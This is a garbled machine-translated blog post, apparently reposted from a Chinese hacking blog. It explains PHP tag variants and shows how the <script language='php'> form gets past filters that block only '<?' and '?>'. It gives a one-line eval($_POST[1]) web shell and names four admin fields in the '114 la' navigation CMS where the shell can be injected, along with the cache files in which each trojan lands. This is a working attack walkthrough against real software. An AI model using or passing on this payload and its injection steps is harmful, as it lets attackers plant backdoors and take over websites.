First, we will introduce various php labels:
1 ):
<? Php?>
Demo:
<? Php echo "test";?>
Most programs use this label now! No stranger to everyone. We will not discuss it here!
2 ):
<? Echo "test";?>
This label is a common usage in the past. Most cms developed in older php versions use it,
Most programmers are familiar with it! We call this label a phrase tag!
3 ):
<Script language = "php"> </script>
Demo:
<Script language = "php"> echo "test"; </script> www.2cto.com
This label is the focus of today and is mostly unfamiliar! In addition, programmers filter and insert a sentence in the website background.
Usually
"<?,?>"
These two keywords are replaced or filtered! Therefore, this type of tag is inserted in the background.
It is still very useful! PS: that is, we should not pay attention to it because it is not used much! Can this work?
Practice: 114 la navigation to prepare one of our code: Use the script tag code:
<Script language = "php"> eval ($ _ POST [1]); </script>
First, I have finished watching the background with the guy on Sunday. His own method does not win the shell template directory permission is read-only! You understand!
The method here is to use the cache to get shell. This method was previously published. The author does not know who it is)
-The official website and the website have been repaired, but the repair method is very sloppy! That is, the filter keyword I mentioned earlier is only
<? ?>
So here we can use the php code in script format we have prepared to insert a sentence!
The first line of the website name:
Enter a sentence in HTML, and the trojan is located in admin/data/cache/cache_mztop.php.
Station carousel:
Enter a sentence after the website URL, and the trojan is located in admin/data/cache/cache_famous_loop.php.
Site name switch:
Enter a sentence after the ifreme URL, and the sentence after submission is in admin/data/cache/cache_famous_tab.php
Homepage utilities:
Enter a sentence after the tool URL, and the sentence after submission is in admin/data/cache/cache_index_tool.php
This article comes from: semi-pitfall farmer's Blog